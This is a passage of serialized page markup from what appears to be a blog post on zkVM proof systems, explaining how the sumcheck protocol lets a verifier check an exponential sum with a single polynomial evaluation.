9219],{"type":21,"tag":85,"props":109220,"children":109222},{"className":109221},[4803],[109223],{"type":21,"tag":85,"props":109224,"children":109227},{"className":109225,"style":109226},[4808],"height:0.6644em;",[109228],{"type":21,"tag":85,"props":109229,"children":109230},{"style":4812},[109231,109235],{"type":21,"tag":85,"props":109232,"children":109234},{"className":109233,"style":4818},[4817],[],{"type":21,"tag":85,"props":109236,"children":109238},{"className":109237},[4823,4824,4825,4826],[109239],{"type":21,"tag":85,"props":109240,"children":109242},{"className":109241},[4776,22016,4826],[109243],{"type":26,"value":56860},{"type":26,"value":109245},"), i.e the claim:",{"type":21,"tag":22,"props":109247,"children":109248},{},[109249],{"type":21,"tag":66,"props":109250,"children":109252},{"className":109251},[4748,4749],[109253],{"type":21,"tag":85,"props":109254,"children":109256},{"className":109255},[4754],[109257],{"type":21,"tag":85,"props":109258,"children":109260},{"className":109259,"ariaHidden":4760},[4759],[109261,109287],{"type":21,"tag":85,"props":109262,"children":109264},{"className":109263},[4765],[109265,109269,109274,109278,109283],{"type":21,"tag":85,"props":109266,"children":109268},{"className":109267,"style":22011},[4770],[],{"type":21,"tag":85,"props":109270,"children":109272},{"className":109271,"style":93743},[4776,22016],[109273],{"type":26,"value":93746},{"type":21,"tag":85,"props":109275,"children":109277},{"className":109276,"style":4955},[4857],[],{"type":21,"tag":85,"props":109279,"children":109281},{"className":109280},[4960],[109282],{"type":26,"value":741},{"type":21,"tag":85,"props":109284,"children":109286},{"className":109285,"style":4955},[4857],[],{"type":21,"tag":85,"props":109288,"children":109290},{"className":109289},[4765],[109291,109295,109445,109449,109592,109596,109603,109607,109751,109755,109761,109766,109823,109828,109832,109889,109894,109898,109904,109908,109913,109917,109975],{"type":21,"tag":85,"props":109292,"children":109294},{"className":109293,"style":22047},[4770],[],{"type":21,"tag":85,"props":109296,"children":109298},{"className":109297},[22052],[109299,109305],{"type":21,"tag":85,"props":109300,"children":109302},{"className":109301,"style":22059},[22052,22057,22058],[109303],{"type":26,"value":109304},"∑",{"type":21,"tag":85,"props":109306,"children":109308},{"className":109307},[4793],[109309],{"type":21,"tag":85,"props":109310,"children":109312},{"className":109311},[4798,22070],[109313,109434],{"type":21,"tag":85,"props":109314,"children":109316},{"className":109315},[4803],[109317,109429],{"type":21,"tag":85,"props":109318,"children":109320},{"className":109319,"style":22079},[4808],[109321],{"type":21,"tag":85,"props":109322,"children":109323},{"style":22083},[109324,109328],{"type":21,"tag":85,"props":109325,"children":109327},{"className":109326,"style":4818},[4817],[],{"type":21,"tag":85,"props":109329,"children":109331},{"className":109330},[4823,4824,4825,4826],[109332],{"type":21,"tag":85,"props":109333,"children":109335},{"className":109334},[4776,4826],[109336,109399,109404,109409,109414,109419,109424],{"type":21,"tag":85,"props":109337,"children":109339},{"className":109338},[4776,4826],[109340,109345],{"type":21,"tag":85,"props":109341,"children":109343},{"className":109342},[4776,22016,4826],[109344],{"type":26,"value":19702},{"type":21,"tag":85,"props":109346,"children":109348},{"className":109347},[4793],[109349],{"type":21,"tag":85,"props":109350,"children":109352},{"className":109351},[4798,22070],[109353,109387],{"type":21,"tag":85,"props":109354,"children":109356},{"className":109355},[4803],[109357,109382],{"type":21,"tag":85,"props":109358,"children":109361},{"className":109359,"style":109360},[4808],"height:0.3173em;",[109362],{"type":21,"tag":85,"props":109363,"children":109365},{"style":109364},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[109366,109371],{"type":21,"tag":85,"props":109367,"children":109370},{"className":109368,"style":109369},[4817],"height:2.5em;",[],{"type":21,"tag":85,"props":109372,"children":109376},{"className":109373},[4823,109374,109375,4826],"reset-size3","size1",[109377],{"type":21,"tag":85,"props":109378,"children":109380},{"className":109379},[4776,4826],[109381],{"type":26,"value":4779},{"type":21,"tag":85,"props":109383,"children":109385},{"className":109384},[22173],[109386],{"type":26,"value":22176},{"type":21,"tag":85,"props":109388,"children":109390},{"className":109389},[4803],[109391],{"type":21,"tag":85,"props":109392,"children":109395},{"className":109393,"style":109394},[4808],"height:0.143em;",[109396],{"type":21,"tag":85,"props":109397,"children":109398},{},[],{"type":21,"tag":85,"props":109400,"children":109402},{"className":109401},[4960,4826],[109403],{"type":26,"value":22123},{"type":21,"tag":85,"props":109405,"children":109407},{"className":109406},[22145,4826],[109408],{"type":26,"value":77080},{"type":21,"tag":85,"props":109410,"children":109412},{"className":109411},[4776,4826],[109413],{"type":26,"value":4789},{"type":21,"tag":85,"props":109415,"children":109417},{"className":109416},[4889,4826],[109418],{"type":26,"value":4892},{"type":21,"tag":85,"props":109420,"children":109422},{"className":109421},[4776,4826],[109423],{"type":26,"value":4779},{"type":21,"tag":85,"props":109425,"children":109427},{"className":109426},[22167,4826],[109428],{"type":26,"value":34587},{"type":21,"tag":85,"props":109430,"children":109432},{"className":109431},[22173],[109433],{"type":26,"value":22176},{"type":21,"tag":85,"props":109435,"children":109437},{"className":109436},[4803],[109438],{"type":21,"tag":85,"props":109439,"children":109441},{"className":109440,"style":22184},[4808],[109442],{"type":21,"tag":85,"props":109443,"children":109444},{},[],{"type":21,"tag":85,"props":109446,"children":109448},{"className":109447,"style":4896},[4857],[],{"type":21,"tag":85,"props":109450,"children":109452},{"className":109451},[22052],[109453,109458],{"type":21,"tag":85,"props":109454,"children":109456},{"className":109455,"style":22059},[22052,22057,22058],[109457],{"type":26,"value":109304},{"type":21,"tag":85,"props":109459,"children":109461},{"className":109460},[4793],[109462],{"type":21,"tag":85,"props":109463,"children":109465},{"className":109464},[4798,22070],[109466,109581],{"type":21,"tag":85,"props":109467,"children":109469},{"className":109468},[4803],[109470,109576],{"type":21,"tag":85,"props":109471,"children":109473},{"className":109472,"style":22079},[4808],[109474],{"type":21,"tag":85,"props":109475,"children":109476},{"style":22083},[109477,109481],{"type":21,"tag":85,"props":109478,"children":109480},{"className":109479,"style":4818},[4817],[],{"type":21,"tag":85,"props":109482,"children":109484},{"className":109483},[4823,4824,4825,4826],[109485],{"type":21,"tag":85,"props":109486,"children":109488},{"className":109487},[4776,4826],[109489,109546,109551,109556,109561,109566,109571],{"type":21,"tag":85,"props":109490,"children":109492},{"className":109491},[4776,4826],[109493,109498],{"type":21,"tag":85,"props":109494,"children":109496},{"className":109495},[4776,22016,4826],[109497],{"type":26,"value":19702},{"type":21,"tag":85,"props":109499,"children":109501},{"className":109500},[4793],[109502],{"type":21,"tag":85,"props":109503,"children":109505},{"className":109504},[4798,22070],[109506,109535],{"type":21,"tag":85,"props":109507,"children":109509},{"className":109508},[4803],[109510,109530],{"type":21,"tag":85,"props":109511,"children":109513},{"className":109512,"style":109360},[4808],[109514],{"type":21,"tag":85,"props":109515,"children":109516},{"style":109364},[109517,109521],{"type":21,"tag":85,"props":109518,"children":109520},{"className":109519,"style":109369},[4817],[],{"type":21,"tag":85,"props":109522,"children":109524},{"className":109523},[4823,109374,109375,4826],[109525],{"type":21,"tag":85,"props":109526,"children":109528},{"className":109527},[4776,4826],[109529],{"type":26,"value":3895},{"type":21,"tag":85,"props":109531,"children":109533},{"className":109532},[22173],[109534],{"type":26,"value":22176},{"type":21,"tag":85,"props":109536,"children":109538},{"className":109537},[4803],[109539],{"type":21,"tag":85,"props":109540,"children":109542},{"className":109541,"style":109394},[4808],[109543],{"type":21,"tag":85,"props":109544,"children":109545},{},[],{"type":21,"tag":85,"props":109547,"children":109549},{"className":109548},[4960,4826],[109550],{"type":26,"value":22123},{"type":21,"tag":85,"props":109552,"children":109554},{"className":109553},[22145,4826],[109555],{"type":26,"value":77080},{"type":21,"tag":85,"props":109557,"children":109559},{"className":109558},[4776,4826],[109560],{"type":26,"value":4789},{"type":21,"tag":85,"props":109562,"children":109564},{"className":109563},[4889,4826],[109565],{"type":26,"value":4892},{"type":21,"tag":85,"props":109567,"children":109569},{"className":109568},[4776,4826],[109570],{"type":26,"value":4779},{"type":21,"tag":85,"props":109572,"children":109574},{"className":109573},[22167,4826],[109575],{"type":26,"value":34587},{"type":21,"tag":85,"props":109577,"children":109579},{"className":109578},[22173],[109580],{"type":26,"value":22176},{"type":21,"tag":85,"props":109582,"children":109584},{"className":109583},[4803],[109585],{"type":21,"tag":85,"props":109586,"children":109588},{"className":109587,"style":22184},[4808],[109589],{"type":21,"tag":85,"props":109590,"children":109591},{},[],{"type":21,"tag":85,"props":109593,"children":109595},{"className":109594,"style":4896},[4857],[],{"type":21,"tag":85,"props":109597,"children":109600},{"className":109598},[109599],"minner",[109601],{"type":26,"value":109602},"⋯",{"type":21,"tag":85,"props":109604,"children":109606},{"className":109605,"style":4896},[4857],[],{"type":21,"tag":85,"props":109608,"children":109610},{"className":109609},[22052],[109611,109616],{"type":21,"tag":85,"props":109612,"children":109614},{"className":109613,"style":22059},[22052,22057,22058],[109615],{"type":26,"value":109304},{"type":21,"tag":85,"props":109617,"children":109619},{"className":109618},[4793],[109620],{"type":21,"tag":85,"props":109621,"children":109623},{"className":109622},[4798,22070],[109624,109740],{"type":21,"tag":85,"props":109625,"children":109627},{"className":109626},[4803],[109628,109735],{"type":21,"tag":85,"props":109629,"children":109631},{"className":109630,"style":22079},[4808],[109632],{"type":21,"tag":85,"props":109633,"children":109634},{"style":22083},[109635,109639],{"type":21,"tag":85,"props":109636,"children":109638},{"className":109637,"style":4818},[4817],[],{"type":21,"tag":85,"props":109640,"children":109642},{"className":109641},[4823,4824,4825,4826],[109643],{"type":21,"tag":85,"props":109644,"children":109646},{"className":109645},[4776,4826],[109647,109705,109710,109715,109720,109725,109730],{"type":21,"tag":85,"props":109648,"children":109650},{"className":109649},[4776,4826],[109651,109656],{"type":21,"tag":85,"props":109652,"children":109654},{"className":109653},[4776,22016,4826],[109655],{"type":26,"value":19702},{"type":21,"tag":85,"props":109657,"children":109659},{"className":109658},[4793],[109660],{"type":21,"tag":85,"props":109661,"children":109663},{"className":109662},[4798,22070],[109664,109694],{"type":21,"tag":85,"props":109665,"children":109667},{"className":109666},[4803],[109668,109689],{"type":21,"tag":85,"props":109669,"children":109672},{"className":109670,"style":109671},[4808],"height:0.1645em;",[109673],{"type":21,"tag":85,"props":109674,"children":109675},{"style":109364},[109676,109680],{"type":21,"tag":85,"props":109677,"children":109679},{"className":109678,"style":109369},[4817],[],{"type":21,"tag":85,"props":109681,"children":109683},{"className":109682},[4823,109374,109375,4826],[109684],{"type":21,"tag":85,"props":109685,"children":109687},{"className":109686},[4776,22016,4826],[109688],{"type":26,"value":56860},{"type":21,"tag":85,"props":109690,"children":109692},{"className":109691},[22173],[109693],{"type":26,"value":22176},{"type":21,"tag":85,"props":109695,"children":109697},{"className":109696},[4803],[109698],{"type":21,"tag":85,"props":109699,"children":109701},{"className":109700,"style":109394},[4808],[109702],{"type":21,"tag":85,"props":109703,"children":109704},{},[],{"type":21,"tag":85,"props":109706,"children":109708},{"className":109707},[4960,4826],[109709],{"type":26,"value":22123},{"type":21,"tag":85,"props":109711,"children":109713},{"className":109712},[22145,4826],[109714],{"type":26,"value":77080},{"type":21,"tag":85,"props":109716,"children":109718},{"className":109717},[4776,4826],[109719],{"type":26,"value":4789},{"type":21,"tag":85,"props":109721,"children":109723},{"className":109722},[4889,4826],[109724],{"type":26,"value":4892},{"type":21,"tag":85,"props":109726,"children":109728},{"className":109727},[4776,4826],[109729],{"type":26,"value":4779},{"type":21,"tag":85,"props":109731,"children":109733},{"className":109732},[22167,4826],[109734],{"type":26,"value":34587},{"type":21,"tag":85,"props":109736,"children":109738},{"className":109737},[22173],[109739],{"type":26,"value":22176},{"type":21,"tag":85,"props":109741,"children":109743},{"className":109742},[4803],[109744],{"type":21,"tag":85,"props":109745,"children":109747},{"className":109746,"style":22184},[4808],[109748],{"type":21,"tag":85,"props":109749,"children":109750},{},[],{"type":21,"tag":85,"props":109752,"children":109754},{"className":109753,"style":4896},[4857],[],{"type":21,"tag":85,"props":109756,"children":109758},{"className":109757,"style":93995},[4776,22016],[109759],{"type":26,"value":109760},"g",{"type":21,"tag":85,"props":109762,"children":109764},{"className":109763},[22145],[109765],{"type":26,"value":1439},{"type":21,"tag":85,"props":109767,"children":109769},{"className":109768},[4776],[109770,109775],{"type":21,"tag":85,"props":109771,"children":109773},{"className":109772},[4776,22016],[109774],{"type":26,"value":19702},{"type":21,"tag":85,"props":109776,"children":109778},{"className":109777},[4793],[109779],{"type":21,"tag":85,"props":109780,"children":109782},{"className":109781},[4798,22070],[109783,109812],{"type":21,"tag":85,"props":109784,"children":109786},{"className":109785},[4803],[109787,109807],{"type":21,"tag":85,"props":109788,"children":109790},{"className":109789,"style":93561},[4808],[109791],{"type":21,"tag":85,"props":109792,"children":109793},{"style":93565},[109794,109798],{"type":21,"tag":85,"props":109795,"children":109797},{"className":109796,"style":4818},[4817],[],{"type":21,"tag":85,"props":109799,"children":109801},{"className":109800},[4823,4824,4825,4826],[109802],{"type":21,"tag":85,"props":109803,"children":109805},{"className":109804},[4776,4826],[109806],{"type":26,"value":4779},{"type":21,"tag":85,"props":109808,"children":109810},{"className":109809},[22173],[109811],{"type":26,"value":22176},{"type":21,"tag":85,"props":109813,"children":109815},{"className":109814},[4803],[109816],{"type":21,"tag":85,"props":109817,"children":109819},{"className":109818,"style":93592},[4808],[109820],{"type":21,"tag":85,"props":109821,"children":109822},{},[],{"type":21,"tag":85,"props":109824,"children":109826},{"className":109825},[4889],[109827],{"type":26,"value":4892},{"type":21,"tag":85,"props":109829,"children":109831},{"className":109830,"style":4896},[4857],[],{"type":21,"tag":85,"props":109833,"children":109835},{"className":109834},[4776],[109836,109841],{"type":21,"tag":85,"props":109837,"children":109839},{"className":109838},[4776,22016],[109840],{"type":26,"value":19702},{"type":21,"tag":85,"props":109842,"children":109844},{"className":109843},[4793],[109845],{"type":21,"tag":85,"props":109846,"children":109848},{"className":109847},[4798,22070],[109849,109878],{"type":21,"tag":85,"props":109850,"children":109852},{"className":109851},[4803],[109853,109873],{"type":21,"tag":85,"props":109854,"children":109856},{"className":109855,"style":93561},[4808],[109857],{"type":21,"tag":85,"props":109858,"children":109859},{"style":93565},[109860,109864],{"type":21,"tag":85,"props":109861,"children":109863},{"className":109862,"style":4818},[4817],[],{"type":21,"tag":85,"props":109865,"children":109867},{"className":109866},[4823,4824,4825,4826],[109868],{"type":21,"tag":85,"props":109869,"children":109871},{"className":109870},[4776,4826],[109872],{"type":26,"value":3895},{"type":21,"tag":85,"props":109874,"children":109876},{"className":109875},[22173],[109877],{"type":26,"value":22176},{"type":21,"tag":85,"props":109879,"children":109881},{"className":109880},[4803],[109882],{"type":21,"tag":85,"props":109883,"children":109885},{"className":109884,"style":93592},[4808],[109886],{"type":21,"tag":85,"props":109887,"children":109888},{},[],{"type":21,"tag":85,"props":109890,"children":109892},{"className":109891},[4889],[109893],{"type":26,"value":4892},{"type":21,"tag":85,"props":109895,"children":109897},{"className":109896,"style":4896},[4857],[],{"type":21,"tag":85,"props":109899,"children":109901},{"className":109900},[109599],[109902],{"type":26,"value":109903},"…",{"type":21,"tag":85,"props":109905,"children":109907},{"className":109906,"style":4896},[4857],[],{"type":21,"tag":85,"props":109909,"children":109911},{"className":109910},[4889],[109912],{"type":26,"value":4892},{"type":21,"tag":85,"props":109914,"children":109916},{"className":109915,"style":4896},[4857],[],{"type":21,"tag":85,"props":109918,"children":109920},{"className":109919},[4776],[109921,109926],{"type":21,"tag":85,"props":109922,"children":109924},{"className":109923},[4776,22016],[109925],{"type":26,"value":19702},{"type":21,"tag":85,"props":109927,"children":109929},{"className":109928},[4793],[109930],{"type":21,"tag":85,"props":109931,"children":109933},{"className":109932},[4798,22070],[109934,109964],{"type":21,"tag":85,"props":109935,"children":109937},{"className":109936},[4803],[109938,109959],{"type":21,"tag":85,"props":109939,"children":109942},{"className":109940,"style":109941},[4808],"height:0.1514em;",[109943],{"type":21,"tag":85,"props":109944,"children":109945},{"style":93565},[109946,109950],{"type":21,"tag":85,"props":109947,"children":109949},{"className":109948,"style":4818},[4817],[],{"type":21,"tag":85,"props":109951,"children":109953},{"className":109952},[4823,4824,4825,4826],[109954],{"type":21,"tag":85,"props":109955,"children":109957},{"className":109956},[4776,22016,4826],[109958],{"type":26,"value":56860},{"type":21,"tag":85,"props":109960,"children":109962},{"className":109961},[22173],[109963],{"type":26,"value":22176},{"type":21,"tag":85,"props":109965,"children":109967},{"className":109966},[4803],[109968],{"type":21,"tag":85,"props":109969,"children":109971},{"className":109970,"style":93592},[4808],[109972],{"type":21,"tag":85,"props":109973,"children":109974},{},[],{"type":21,"tag":85,"props":109976,"children":109978},{"className":109977},[22167],[109979],{"type":26,"value":1900},{"type":21,"tag":22,"props":109981,"children":109982},{},[109983,109985,110046],{"type":26,"value":109984},"The naive approach would be for the verifier to compute all ",{"type":21,"tag":66,"props":109986,"children":109988},{"className":109987},[4748,4749],[109989],{"type":21,"tag":85,"props":109990,"children":109992},{"className":109991},[4754],[109993],{"type":21,"tag":85,"props":109994,"children":109996},{"className":109995,"ariaHidden":4760},[4759],[109997],{"type":21,"tag":85,"props":109998,"children":110000},{"className":109999},[4765],[110001,110005],{"type":21,"tag":85,"props":110002,"children":110004},{"className":110003,"style":109226},[4770],[],{"type":21,"tag":85,"props":110006,"children":110008},{"className":110007},[4776],[110009,110014],{"type":21,"tag":85,"props":110010,"children":110012},{"className":110011},[4776],[110013],{"type":26,"value":3895},{"type":21,"tag":85,"props":110015,"children":110017},{"className":110016},[4793],[110018],{"type":21,"tag":85,"props":110019,"children":110021},{"className":110020},[4798],[110022],{"type":21,"tag":85,"props":110023,"children":110025},{"className":110024},[4803],[110026],{"type":21,"tag":85,"props":110027,"children":110029},{"className":110028,"style":109226},[4808],[110030],{"type":21,"tag":85,"props":110031,"children":110032},{"style":4812},[110033,110037],{"type":21,"tag":85,"props":110034,"children":110036},{"className":110035,"style":4818},[4817],[],{"type":21,"tag":85,"props":110038,"children":110040},{"className":110039},[4823,4824,4825,4826],[110041],{"type":21,"tag":85,"props":110042,"children":110044},{"className":110043},[4776,22016,4826],[110045],{"type":26,"value":56860},{"type":26,"value":110047}," evaluations. This is exponentially expensive.",{"type":21,"tag":22,"props":110049,"children":110050},{},[110051,110053,110058],{"type":26,"value":110052},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":21,"tag":873,"props":110054,"children":110055},{},[110056],{"type":26,"value":110057},"only one",{"type":26,"value":73},{"type":21,"tag":22,"props":110060,"children":110061},{},[110062],{"type":21,"tag":4681,"props":110063,"children":110066},{"alt":110064,"src":110065},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":21,"tag":22,"props":110068,"children":110069},{},[110070,110072,110164,110166,110351,110353,110378,110380,110458,110460,110539],{"type":26,"value":110071},"In each round, the prover must send a polynomial ",{"type":21,"tag":66,"props":110073,"children":110075},{"className":110074},[4748,4749],[110076],{"type":21,"tag":85,"props":110077,"children":110079},{"className":110078},[4754],[110080],{"type":21,"tag":85,"props":110081,"children":110083},{"className":110082,"ariaHidden":4760},[4759],[110084],{"type":21,"tag":85,"props":110085,"children":110087},{"className":110086},[4765],[110088,110092,110149,110154,110159],{"type":21,"tag":85,"props":110089,"children":110091},{"className":110090,"style":4878},[4770],[],{"type":21,"tag":85,"props":110093,"children":110095},{"className":110094},[4776],[110096,110101],{"type":21,"tag":85,"props":110097,"children":110099},{"className":110098,"style":93995},[4776,22016],[110100],{"type":26,"value":109760},{"type":21,"tag":85,"props":110102,"children":110104},{"className":110103},[4793],[110105],{"type":21,"tag":85,"props":110106,"children":110108},{"className":110107},[4798,22070],[110109,110138],{"type":21,"tag":85,"props":110110,"children":110112},{"className":110111},[4803],[110113,110133],{"type":21,"tag":85,"props":110114,"children":110116},{"className":110115,"style":94038},[4808],[110117],{"type":21,"tag":85,"props":110118,"children":110119},{"style":94042},[110120,110124],{"type":21,"tag":85,"props":110121,"children":110123},{"className":110122,"style":4818},[4817],[],{"type":21,"tag":85,"props":110125,"children":110127},{"className":110126},[4823,4824,4825,4826],[110128],{"type":21,"tag":85,"props":110129,"children":110131},{"className":110130},[4776,22016,4826],[110132],{"type":26,"value":3003},{"type":21,"tag":85,"props":110134,"children":110136},{"className":110135},[22173],[110137],{"type":26,"value":22176},{"type":21,"tag":85,"props":110139,"children":110141},{"className":110140},[4803],[110142],{"type":21,"tag":85,"props":110143,"children":110145},{"className":110144,"style":93592},[4808],[110146],{"type":21,"tag":85,"props":110147,"children":110148},{},[],{"type":21,"tag":85,"props":110150,"children":110152},{"className":110151},[22145],[110153],{"type":26,"value":1439},{"type":21,"tag":85,"props":110155,"children":110157},{"className":110156,"style":95529},[4776,22016],[110158],{"type":26,"value":456},{"type":21,"tag":85,"props":110160,"children":110162},{"className":110161},[22167],[110163],{"type":26,"value":1900},{"type":26,"value":110165}," such that ",{"type":21,"tag":66,"props":110167,"children":110169},{"className":110168},[4748,4749],[110170],{"type":21,"tag":85,"props":110171,"children":110173},{"className":110172},[4754],[110174],{"type":21,"tag":85,"props":110175,"children":110177},{"className":110176,"ariaHidden":4760},[4759],[110178,110271],{"type":21,"tag":85,"props":110179,"children":110181},{"className":110180},[4765],[110182,110186,110243,110248,110253,110258,110262,110267],{"type":21,"tag":85,"props":110183,"children":110185},{"className":110184,"style":4878},[4770],[],{"type":21,"tag":85,"props":110187,"children":110189},{"className":110188},[4776],[110190,110195],{"type":21,"tag":85,"props":110191,"children":110193},{"className":110192,"style":93995},[4776,22016],[110194],{"type":26,"value":109760},{"type":21,"tag":85,"props":110196,"children":110198},{"className":110197},[4793],[110199],{"type":21,"tag":85,"props":110200,"children":110202},{"className":110201},[4798,22070],[110203,110232],{"type":21,"tag":85,"props":110204,"children":110206},{"className":110205},[4803],[110207,110227],{"type":21,"tag":85,"props":110208,"children":110210},{"className":110209,"style":94038},[4808],[110211],{"type":21,"tag":85,"props":110212,"children":110213},{"style":94042},[110214,110218],{"type":21,"tag":85,"props":110215,"children":110217},{"className":110216,"style":4818},[4817],[],{"type":21,"tag":85,"props":110219,"children":110221},{"className":110220},[4823,4824,4825,4826],[110222],{"type":21,"tag":85,"props":110223,"children":110225},{"className":110224},[4776,22016,4826],[110226],{"type":26,"value":3003},{"type":21,"tag":85,"props":110228,"children":110230},{"className":110229},[22173],[110231],{"type":26,"value":22176},{"type":21,"tag":85,"props":110233,"children":110235},{"className":110234},[4803],[110236],{"type":21,"tag":85,"props":110237,"children":110239},{"className":110238,"style":93592},[4808],[110240],{"type":21,"tag":85,"props":110241,"children":110242},{},[],{"type":21,"tag":85,"props":110244,"children":110246},{"className":110245},[22145],[110247],{"type":26,"value":1439},{"type":21,"tag":85,"props":110249,"children":110251},{"className":110250},[4776],[110252],{"type":26,"value":4789},{"type":21,"tag":85,"props":110254,"children":110256},{"className":110255},[22167],[110257],{"type":26,"value":1900},{"type":21,"tag":85,"props":110259,"children":110261},{"className":110260,"style":4858},[4857],[],{"type":21,"tag":85,"props":110263,"children":110265},{"className":110264},[4863],[110266],{"type":26,"value":5151},{"type":21,"tag":85,"props":110268,"children":110270},{"className":110269,"style":4858},[4857],[],{"type":21,"tag":85,"props":110272,"children":110274},{"className":110273},[4765],[110275,110279,110336,110341,110346],{"type":21,"tag":85,"props":110276,"children":110278},{"className":110277,"style":4878},[4770],[],{"type":21,"tag":85,"props":110280,"children":110282},{"className":110281},[4776],[110283,110288],{"type":21,"tag":85,"props":110284,"children":110286},{"className":110285,"style":93995},[4776,22016],[110287],{"type":26,"value":109760},{"type":21,"tag":85,"props":110289,"children":110291},{"className":110290},[4793],[110292],{"type":21,"tag":85,"props":110293,"children":110295},{"className":110294},[4798,22070],[110296,110325],{"type":21,"tag":85,"props":110297,"children":110299},{"className":110298},[4803],[110300,110320],{"type":21,"tag":85,"props":110301,"children":110303},{"className":110302,"style":94038},[4808],[110304],{"type":21,"tag":85,"props":110305,"children":110306},{"style":94042},[110307,110311],{"type":21,"tag":85,"props":110308,"children":110310},{"className":110309,"style":4818},[4817],[],{"type":21,"tag":85,"props":110312,"children":110314},{"className":110313},[4823,4824,4825,4826],[110315],{"type":21,"tag":85,"props":110316,"children":110318},{"className":110317},[4776,22016,4826],[110319],{"type":26,"value":3003},{"type":21,"tag":85,"props":110321,"children":110323},{"className":110322},[22173],[110324],{"type":26,"value":22176},{"type":21,"tag":85,"props":110326,"children":110328},{"className":110327},[4803],[110329],{"type":21,"tag":85,"props":110330,"children":110332},{"className":110331,"style":93592},[4808],[110333],{"type":21,"tag":85,"props":110334,"children":110335},{},[],{"type":21,"tag":85,"props":110337,"children":110339},{"className":110338},[22145],[110340],{"type":26,"value":1439},{"type":21,"tag":85,"props":110342,"children":110344},{"className":110343},[4776],[110345],{"type":26,"value":4779},{"type":21,"tag":85,"props":110347,"children":110349},{"className":110348},[22167],[110350],{"type":26,"value":1900},{"type":26,"value":110352}," equals the previous claim. If the prover is lying about the original sum ",{"type":21,"tag":66,"props":110354,"children":110356},{"className":110355},[4748,4749],[110357],{"type":21,"tag":85,"props":110358,"children":110360},{"className":110359},[4754],[110361],{"type":21,"tag":85,"props":110362,"children":110364},{"className":110363,"ariaHidden":4760},[4759],[110365],{"type":21,"tag":85,"props":110366,"children":110368},{"className":110367},[4765],[110369,110373],{"type":21,"tag":85,"props":110370,"children":110372},{"className":110371,"style":22011},[4770],[],{"type":21,"tag":85,"props":110374,"children":110376},{"className":110375,"style":93743},[4776,22016],[110377],{"type":26,"value":93746},{"type":26,"value":110379},", then they must lie about ",{"type":21,"tag":66,"props":110381,"children":110383},{"className":110382},[4748,4749],[110384],{"type":21,"tag":85,"props":110385,"children":110387},{"className":110386},[4754],[110388],{"type":21,"tag":85,"props":110389,"children":110391},{"className":110390,"ariaHidden":4760},[4759],[110392],{"type":21,"tag":85,"props":110393,"children":110395},{"className":110394},[4765],[110396,110401],{"type":21,"tag":85,"props":110397,"children":110400},{"className":110398,"style":110399},[4770],"height:0.625em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":110402,"children":110404},{"className":110403},[4776],[110405,110410],{"type":21,"tag":85,"props":110406,"children":110408},{"className":110407,"style":93995},[4776,22016],[110409],{"type":26,"value":109760},{"type":21,"tag":85,"props":110411,"children":110413},{"className":110412},[4793],[110414],{"type":21,"tag":85,"props":110415,"children":110417},{"className":110416},[4798,22070],[110418,110447],{"type":21,"tag":85,"props":110419,"children":110421},{"className":110420},[4803],[110422,110442],{"type":21,"tag":85,"props":110423,"children":110425},{"className":110424,"style":94038},[4808],[110426],{"type":21,"tag":85,"props":110427,"children":110428},{"style":94042},[110429,110433],{"type":21,"tag":85,"props":110430,"children":110432},{"className":110431,"style":4818},[4817],[],{"type":21,"tag":85,"props":110434,"children":110436},{"className":110435},[4823,4824,4825,4826],[110437],{"type":21,"tag":85,"props":110438,"children":110440},{"className":110439},[4776,22016,4826],[110441],{"type":26,"value":3003},{"type":21,"tag":85,"props":110443,"children":110445},{"className":110444},[22173],[110446],{"type":26,"value":22176},{"type":21,"tag":85,"props":110448,"children":110450},{"className":110449},[4803],[110451],{"type":21,"tag":85,"props":110452,"children":110454},{"className":110453,"style":93592},[4808],[110455],{"type":21,"tag":85,"props":110456,"children":110457},{},[],{"type":26,"value":110459}," somewhere. But since the verifier picks a random ",{"type":21,"tag":66,"props":110461,"children":110463},{"className":110462},[4748,4749],[110464],{"type":21,"tag":85,"props":110465,"children":110467},{"className":110466},[4754],[110468],{"type":21,"tag":85,"props":110469,"children":110471},{"className":110470,"ariaHidden":4760},[4759],[110472],{"type":21,"tag":85,"props":110473,"children":110475},{"className":110474},[4765],[110476,110481],{"type":21,"tag":85,"props":110477,"children":110480},{"className":110478,"style":110479},[4770],"height:0.5806em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":110482,"children":110484},{"className":110483},[4776],[110485,110490],{"type":21,"tag":85,"props":110486,"children":110488},{"className":110487,"style":93509},[4776,22016],[110489],{"type":26,"value":94328},{"type":21,"tag":85,"props":110491,"children":110493},{"className":110492},[4793],[110494],{"type":21,"tag":85,"props":110495,"children":110497},{"className":110496},[4798,22070],[110498,110528],{"type":21,"tag":85,"props":110499,"children":110501},{"className":110500},[4803],[110502,110523],{"type":21,"tag":85,"props":110503,"children":110505},{"className":110504,"style":94038},[4808],[110506],{"type":21,"tag":85,"props":110507,"children":110509},{"style":110508},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[110510,110514],{"type":21,"tag":85,"props":110511,"children":110513},{"className":110512,"style":4818},[4817],[],{"type":21,"tag":85,"props":110515,"children":110517},{"className":110516},[4823,4824,4825,4826],[110518],{"type":21,"tag":85,"props":110519,"children":110521},{"className":110520},[4776,22016,4826],[110522],{"type":26,"value":3003},{"type":21,"tag":85,"props":110524,"children":110526},{"className":110525},[22173],[110527],{"type":26,"value":22176},{"type":21,"tag":85,"props":110529,"children":110531},{"className":110530},[4803],[110532],{"type":21,"tag":85,"props":110533,"children":110535},{"className":110534,"style":93592},[4808],[110536],{"type":21,"tag":85,"props":110537,"children":110538},{},[],{"type":26,"value":110540},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":21,"tag":19318,"props":110542,"children":110544},{"id":110543},"the-compression-trick",[110545],{"type":26,"value":110546},"The Compression Trick",{"type":21,"tag":22,"props":110548,"children":110549},{},[110550,110552,110702,110704,110984],{"type":26,"value":110551},"For degree-1 (multilinear) polynomials, 